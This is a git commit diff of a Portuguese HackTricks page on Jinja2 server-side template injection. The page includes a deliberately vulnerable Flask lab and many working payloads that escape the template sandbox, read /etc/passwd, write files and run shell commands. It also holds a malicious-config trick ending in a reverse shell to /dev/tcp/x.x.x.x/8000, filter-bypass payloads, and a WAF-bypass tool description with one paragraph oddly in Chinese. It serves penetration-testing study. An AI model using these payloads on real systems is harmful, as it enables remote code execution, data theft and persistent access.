mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 14:38:27 +00:00
Translated ['pentesting-web/ssti-server-side-template-injection/jinja2-s
This commit is contained in:
parent
78a7e9e1c1
commit
ddab5ca6f8
1 changed files with 39 additions and 38 deletions
|
@ -6,7 +6,7 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,7 +15,6 @@ Outras maneiras de apoiar o HackTricks:
|
|||
</details>
|
||||
|
||||
## **Lab**
|
||||
|
||||
```python
|
||||
from flask import Flask, request, render_template_string
|
||||
|
||||
|
@ -31,11 +30,9 @@ return "Hello, send someting inside the param 'c'!"
|
|||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
|
||||
### **Declaração de Depuração**
|
||||
|
||||
Se a Extensão de Depuração estiver habilitada, uma tag `debug` estará disponível para exibir o contexto atual, bem como os filtros e testes disponíveis. Isso é útil para ver o que está disponível para usar no modelo sem configurar um depurador.
|
||||
|
||||
```python
|
||||
<pre>
|
||||
|
||||
|
@ -48,9 +45,9 @@ Se a Extensão de Depuração estiver habilitada, uma tag `debug` estará dispon
|
|||
|
||||
</pre>
|
||||
```
|
||||
### **Exibir todas as variáveis de configuração**
|
||||
|
||||
### **Despejar todas as variáveis de configuração**
|
||||
|
||||
Fonte: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
|
||||
```python
|
||||
{{ config }} #In these object you can find all the configured env variables
|
||||
|
||||
|
@ -64,16 +61,14 @@ Se a Extensão de Depuração estiver habilitada, uma tag `debug` estará dispon
|
|||
|
||||
|
||||
```
|
||||
## **Injeção de Jinja**
|
||||
|
||||
## **Injeção Jinja**
|
||||
|
||||
Em primeiro lugar, em uma injeção Jinja você precisa **encontrar uma maneira de escapar do sandbox** e recuperar o acesso ao fluxo de execução regular do Python. Para fazer isso, você precisa **abusar de objetos** que são **do** **ambiente não-sandboxed mas são acessíveis a partir do sandbox**.
|
||||
Primeiramente, em uma injeção de Jinja você precisa **encontrar uma maneira de escapar do sandbox** e recuperar o acesso ao fluxo regular de execução do Python. Para fazer isso, você precisa **abusar de objetos** que são **do** ambiente **não-sandboxed, mas são acessíveis a partir do sandbox**.
|
||||
|
||||
### Acessando Objetos Globais
|
||||
|
||||
Por exemplo, no código `render_template("hello.html", username=username, email=email)` os objetos username e email **vêm do ambiente Python não-sanboxed** e serão **acessíveis** dentro do **ambiente sandboxed**.\
|
||||
Além disso, existem outros objetos que serão **sempre acessíveis a partir do ambiente sandboxed**, estes são:
|
||||
|
||||
```
|
||||
[]
|
||||
''
|
||||
|
@ -82,15 +77,13 @@ dict
|
|||
config
|
||||
request
|
||||
```
|
||||
|
||||
### Recuperando \<class 'object'>
|
||||
|
||||
Em seguida, a partir desses objetos, precisamos chegar à classe: **`<class 'object'>`** para tentar **recuperar** as **classes** definidas. Isso ocorre porque a partir desse objeto podemos chamar o método **`__subclasses__`** e **acessar todas as classes do ambiente python não isolado**.
|
||||
|
||||
Para acessar essa **classe de objeto**, você precisa **acessar um objeto de classe** e então acessar **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. E então, **após** alcançar essa **classe de objeto**, nós **chamamos** **`__subclasses__()`**.
|
||||
|
||||
Verifique estes exemplos:
|
||||
Para acessar essa **classe de objeto**, você precisa **acessar um objeto de classe** e então acessar **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. E então, **depois** de alcançar essa **classe de objeto**, nós **chamamos** **`__subclasses__()`**.
|
||||
|
||||
Verifique esses exemplos:
|
||||
```python
|
||||
# To access a class object
|
||||
[].__class__
|
||||
|
@ -130,7 +123,6 @@ dict.__mro__[-1]
|
|||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
```
|
||||
|
||||
### Escapando RCE
|
||||
|
||||
**Tendo recuperado** `<class 'object'>` e chamado `__subclasses__` agora podemos usar essas classes para ler e escrever arquivos e executar código.
|
||||
|
@ -138,15 +130,12 @@ dict.__mro__[-1]
|
|||
A chamada para `__subclasses__` nos deu a oportunidade de **acessar centenas de novas funções**, ficaremos felizes apenas acessando a **classe de arquivo** para **ler/escrever arquivos** ou qualquer classe com acesso a uma classe que **permite executar comandos** (como `os`).
|
||||
|
||||
**Ler/Escrever arquivo remoto**
|
||||
|
||||
```python
|
||||
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
||||
```
|
||||
|
||||
**Execução Remota de Código (RCE)**
|
||||
|
||||
**Execução de Código Remoto (RCE)**
|
||||
```python
|
||||
# The class 396 is the class <class 'subprocess.Popen'>
|
||||
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
||||
|
@ -169,7 +158,6 @@ A chamada para `__subclasses__` nos deu a oportunidade de **acessar centenas de
|
|||
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
|
||||
|
||||
```
|
||||
|
||||
Para aprender sobre **mais classes** que você pode usar para **escapar**, você pode **verificar**:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
|
@ -182,7 +170,6 @@ Para aprender sobre **mais classes** que você pode usar para **escapar**, você
|
|||
|
||||
Esses bypasses nos permitirão **acessar** os **atributos** dos objetos **sem usar alguns caracteres**.\
|
||||
Já vimos alguns desses bypasses nos exemplos anteriores, mas vamos resumi-los aqui:
|
||||
|
||||
```bash
|
||||
# Without quotes, _, [, ]
|
||||
## Basic ones
|
||||
|
@ -210,7 +197,6 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
|
||||
```
|
||||
|
||||
* [**Retorne aqui para mais opções de acesso a um objeto global**](jinja2-ssti.md#acessando-objetos-globais)
|
||||
* [**Retorne aqui para mais opções de acesso à classe do objeto**](jinja2-ssti.md#recuperando-objeto-da-classe)
|
||||
* [**Leia isso para obter RCE sem a classe do objeto**](jinja2-ssti.md#injecao-jinja-sem-objeto-da-classe)
|
||||
|
@ -218,23 +204,18 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
**Evitando a codificação HTML**
|
||||
|
||||
Por padrão, o Flask codifica HTML dentro de um modelo por motivos de segurança:
|
||||
|
||||
```python
|
||||
{{'<script>alert(1);</script>'}}
|
||||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
|
||||
**O filtro `safe`** nos permite injetar JavaScript e HTML na página **sem** que ele seja **codificado em HTML**, assim:
|
||||
|
||||
**O filtro `safe`** nos permite injetar JavaScript e HTML na página **sem** que ele seja **codificado em HTML**, como este exemplo:
|
||||
```python
|
||||
{{'<script>alert(1);</script>'|safe}}
|
||||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
|
||||
**Execução de código remoto ao escrever um arquivo de configuração malicioso.**
|
||||
|
||||
**RCE ao escrever um arquivo de configuração malicioso.**
|
||||
```python
|
||||
# evil config
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
||||
|
@ -245,11 +226,9 @@ Por padrão, o Flask codifica HTML dentro de um modelo por motivos de segurança
|
|||
# connect to evil host
|
||||
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
|
||||
```
|
||||
|
||||
## Sem vários caracteres
|
||||
|
||||
Sem **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
||||
|
||||
```python
|
||||
{% raw %}
|
||||
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
||||
|
@ -257,14 +236,12 @@ Sem **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|||
|
||||
|
||||
```
|
||||
|
||||
## Injeção de Jinja sem **\<class 'object'>**
|
||||
|
||||
A partir dos [**objetos globais**](jinja2-ssti.md#accessing-global-objects), há outra maneira de obter **RCE sem usar essa classe.**\
|
||||
Se você conseguir acessar qualquer **função** desses objetos globais, poderá acessar **`__globals__.__builtins__`** e a partir daí a **RCE** é muito **simples**.
|
||||
|
||||
Você pode **encontrar funções** nos objetos **`request`**, **`config`** e em qualquer **outro** objeto global interessante ao qual você tenha acesso com:
|
||||
|
||||
Você pode **encontrar funções** nos objetos **`request`**, **`config`** e em qualquer **outro** objeto **global** interessante ao qual você tenha acesso com:
|
||||
```bash
|
||||
{{ request.__class__.__dict__ }}
|
||||
- application
|
||||
|
@ -284,9 +261,7 @@ Você pode **encontrar funções** nos objetos **`request`**, **`config`** e em
|
|||
|
||||
# You can iterate through children objects to find more
|
||||
```
|
||||
|
||||
Uma vez que você tenha encontrado algumas funções, você pode recuperar os builtins com:
|
||||
|
||||
```python
|
||||
# Read file
|
||||
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
||||
|
@ -307,7 +282,33 @@ Uma vez que você tenha encontrado algumas funções, você pode recuperar os bu
|
|||
|
||||
# All the bypasses seen in the previous sections are also valid
|
||||
```
|
||||
### Fuzzing WAF bypass
|
||||
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一种专门用于CTF的工具,但也可以用于在真实场景中暴力破解无效参数。该工具只是喷洒单词和查询以检测过滤器,搜索绕过,并提供交互式控制台。
|
||||
```
|
||||
webui:
|
||||
As the name suggests, web UI
|
||||
Default port 11451
|
||||
|
||||
scan: scan the entire website
|
||||
Extract all forms from the website based on the form element and attack them
|
||||
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
|
||||
Example:python -m fenjing scan --url 'http://xxx/'
|
||||
|
||||
crack: Attack a specific form
|
||||
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
|
||||
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
|
||||
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
|
||||
|
||||
crack-path: attack a specific path
|
||||
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
|
||||
The parameters are roughly the same as crack, but you only need to provide the corresponding path
|
||||
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
|
||||
|
||||
crack-request: Read a request file for attack
|
||||
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
|
||||
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
|
||||
```
|
||||
## Referências
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
|
@ -321,8 +322,8 @@ Uma vez que você tenha encontrado algumas funções, você pode recuperar os bu
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
Loading…
Add table
Reference in a new issue